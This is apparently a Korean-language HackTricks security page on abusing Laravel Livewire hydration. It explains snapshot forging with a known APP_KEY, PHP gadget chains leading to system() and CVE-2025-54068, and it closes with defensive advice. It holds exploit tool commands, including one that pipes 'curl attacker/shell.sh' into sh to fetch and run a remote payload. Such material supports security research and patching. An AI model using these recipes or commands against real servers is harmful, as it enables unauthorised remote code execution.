Laravel Livewire Hydration & Synthesizer Abuse

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Livewire 상태 머신 요약

Livewire 3 컴포넌트는 data, memo, 체크섬을 포함하는 **스냅샷(snapshots)**을 통해 상태를 교환합니다. /livewire/update로의 모든 POST는 서버 측에서 JSON 스냅샷을 재하이드레이트(rehydrate)하고 대기열에 있는 calls/updates를 실행합니다.

class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}

static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}

따라서 APP_KEY(이 $hashKey를 도출하는 데 사용됨)를 가진 사람은 HMAC을 재계산하여 임의의 스냅샷을 위조할 수 있다.

복잡한 프로퍼티는 Livewire\Drawer\BaseUtils::isSyntheticTuple()로 감지되는 합성 튜플로 인코딩된다; 각 튜플은 [value, {"s":"<key>", ...meta}]이다. 하이드레이션 코어는 단순히 각 튜플을 HandleComponents::$propertySynthesizers에서 선택된 synth로 위임하고 자식 요소들에 대해 재귀적으로 처리한다:

protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}

이 재귀적 설계로 인해 공격자가 튜플 메타데이터나 재귀 처리 중인 어떤 중첩 튜플을 제어하면 Livewire는 일반적인 객체 인스턴스화 엔진이 됩니다.

가젯 프리미티브를 제공하는 Synthesizers

SynthesizerAttacker-controlled behaviour
CollectionSynth (clctn)각 자식을 리하이드레이트한 후 new $meta['class']($value)를 인스턴스화합니다. 배열을 받는 생성자를 가진 어떤 클래스든 생성할 수 있으며, 각 항목 자체가 synthetic tuple일 수 있습니다.
FormObjectSynth (form)new $meta['class']($component, $path)를 호출한 뒤 $hydrateChild를 통해 공격자가 제어하는 자식들로부터 모든 public 프로퍼티를 할당합니다. 두 개의 느슨한 타입의 매개변수(또는 기본 인수)를 받는 생성자만으로도 임의의 public 프로퍼티에 접근할 수 있습니다.
ModelSynth (mdl)metakey가 없으면 return new $class;를 실행하여 공격자가 제어하는 어떤 클래스도 인자가 없는 상태로 인스턴스화할 수 있습니다.

synths가 모든 중첩 요소에 $hydrateChild를 호출하기 때문에, 튜플을 재귀적으로 쌓아 임의의 가젯 그래프를 구성할 수 있습니다.

APP_KEY를 알고 있을 때 스냅샷 위조

  1. 정상적인 /livewire/update 요청을 캡처하고 components[0].snapshot를 디코드합니다.
  2. 가젯 클래스를 가리키는 중첩 튜플을 주입하고 checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY)를 재계산합니다.
  3. 스냅샷을 다시 인코딩하고 _token/memo는 그대로 둔 채 요청을 재전송합니다.

최소한의 실행 증명은 **Guzzle의 FnStream**과 **Flysystem의 ShardedPrefixPublicUrlGenerator**를 사용합니다. 한 튜플은 생성자 데이터 { "__toString": "phpinfo" }FnStream을 인스턴스화하고, 다음 튜플은 $prefixes[FnStreamInstance]를 사용해 ShardedPrefixPublicUrlGenerator를 인스턴스화합니다. Flysystem이 각 prefix를 string으로 캐스팅할 때 PHP는 공격자가 제공한 __toString callable을 호출하여 인자 없이 임의의 함수를 실행합니다.

함수 호출에서 완전한 RCE로

Livewire의 인스턴스화 프리미티브를 활용해, Synacktiv는 phpggc의 Laravel/RCE4 체인을 적응시켜 하이드레이션이 public Queueable 상태가 역직렬화를 트리거하는 객체를 부팅하게 만들었습니다:

  1. Queueable traitIlluminate\Bus\Queueable를 사용하는 모든 객체는 public $chained를 노출하며 dispatchNextJobInChain()에서 unserialize(array_shift($this->chained))를 실행합니다.
  2. BroadcastEvent wrapperIlluminate\Broadcasting\BroadcastEvent (ShouldQueue)는 public $chained가 채워진 상태로 CollectionSynth / FormObjectSynth를 통해 인스턴스화됩니다.
  3. phpggc Laravel/RCE4Adapted$chained[0]에 저장된 직렬화된 blob은 PendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed를 구성합니다. Signed::__invoke()는 결국 call_user_func_array($closure, $args)를 호출하여 system($cmd)를 가능하게 합니다.
  4. Stealth termination[new Laravel\Prompts\Terminal(), 'exit'] 같은 두 번째 FnStream callable을 제공하면 요청은 시끄러운 예외 대신 exit()로 종료되어 HTTP 응답이 깨끗하게 유지됩니다.

스냅샷 위조 자동화

synacktiv/laravel-crypto-killer는 이제 모든 것을 연결하는 livewire 모드를 제공합니다:

./laravel_crypto_killer.py -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"

이 도구는 캡처한 스냅샷을 파싱하고 gadget tuples를 주입한 뒤 체크섬을 재계산하여 전송 준비가 된 /livewire/update payload를 출력합니다.

CVE-2025-54068 – RCE without APP_KEY

updates는 스냅샷 체크섬이 검증된 후에 컴포넌트 상태로 병합됩니다. 스냅샷 내부의 프로퍼티가(또는 그렇게 변하면) synthetic tuple인 경우, Livewire는 공격자가 제어하는 update 값으로 hydrate하는 동안 해당 tuple의 meta를 재사용합니다:

protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}

Exploit recipe:

  1. 타입이 지정되지 않은 public 속성(예: public $count;)을 가진 Livewire 컴포넌트를 찾는다.
  2. 해당 속성을 []로 설정하는 update를 전송한다. 다음 snapshot은 이제 [[], {"s": "arr"}]로 저장된다.
  3. 해당 속성이 깊게 중첩된 배열을 포함하도록, [ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ] 같은 튜플을 임베드한 또 다른 updates 페이로드를 구성한다.
  4. 재귀 처리 중 hydrate()는 각 중첩된 자식 요소를 독립적으로 평가하므로, 외부 튜플과 checksum이 변경되지 않았더라도 공격자가 선택한 synth 키/클래스가 적용된다.
  5. 같은 CollectionSynth/FormObjectSynth 프리미티브를 재사용해 $chained[0]에 phpggc 페이로드를 담은 Queueable gadget을 인스턴스화한다. Livewire가 위조된 updates를 처리하면 dispatchNextJobInChain()를 호출해 APP_KEY를 알지 못한 채 system(<cmd>)에 도달한다.

Key reasons this works:

  • updates는 snapshot checksum에 포함되지 않는다.
  • getMetaForPath()는 공격자가 weak typing으로 이전에 그 속성을 튜플로 만든 경우에도, 해당 속성에 이미 존재하던 synth 메타데이터를 신뢰한다.
  • 재귀와 weak typing을 결합하면 각 중첩 배열이 새로운 튜플로 해석되므로 임의의 synth 키와 임의의 클래스가 결국 hydrate로 전달된다.

Livepyre – 엔드투엔드 익스플로잇

Livepyre 는 APP_KEY-less CVE와 signed-snapshot 경로를 모두 자동화한다:

  • 배포된 Livewire 버전을 <script src="/livewire/livewire.js?id=HASH">를 파싱해 식별하고, 해시를 취약한 릴리스에 매핑한다.
  • 정상 동작을 재생하여 기본 스냅샷을 수집하고 components[].snapshot을 추출한다.
  • updates 전용 페이로드(CVE-2025-54068) 또는 phpggc 체인을 포함한 위조된 스냅샷(알려진 APP_KEY)을 생성한다.

Typical usage:

# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id

# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"

-c/--check는 비파괴 프로브를 실행하고, -F는 버전 게이팅을 건너뛰며, -H-P는 커스텀 헤더 또는 프록시를 추가하고, --function/--param은 gadget chain에 의해 호출되는 php 함수를 사용자 정의합니다.

방어적 고려사항

  • Upgrade to fixed Livewire builds (>= 3.6.4 according to the vendor bulletin) and deploy the vendor patch for CVE-2025-54068.
  • Livewire components에서 약하게 타입된 public properties를 피하세요; 명시적 스칼라 타입은 속성 값이 arrays/tuples로 강제 변환되는 것을 방지합니다.
  • Register only the synthesizers you truly need and treat user-controlled metadata ($meta['class']) as untrusted.
  • 속성의 JSON 타입을 변경하는 업데이트(예: scalar -> array)는 명시적으로 허용되지 않는 한 거부하고, 오래된 tuples를 재사용하지 말고 synth metadata를 다시 파생하세요.
  • Rotate APP_KEY promptly after any disclosure because it enables offline snapshot forging no matter how patched the code-base is.

References

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기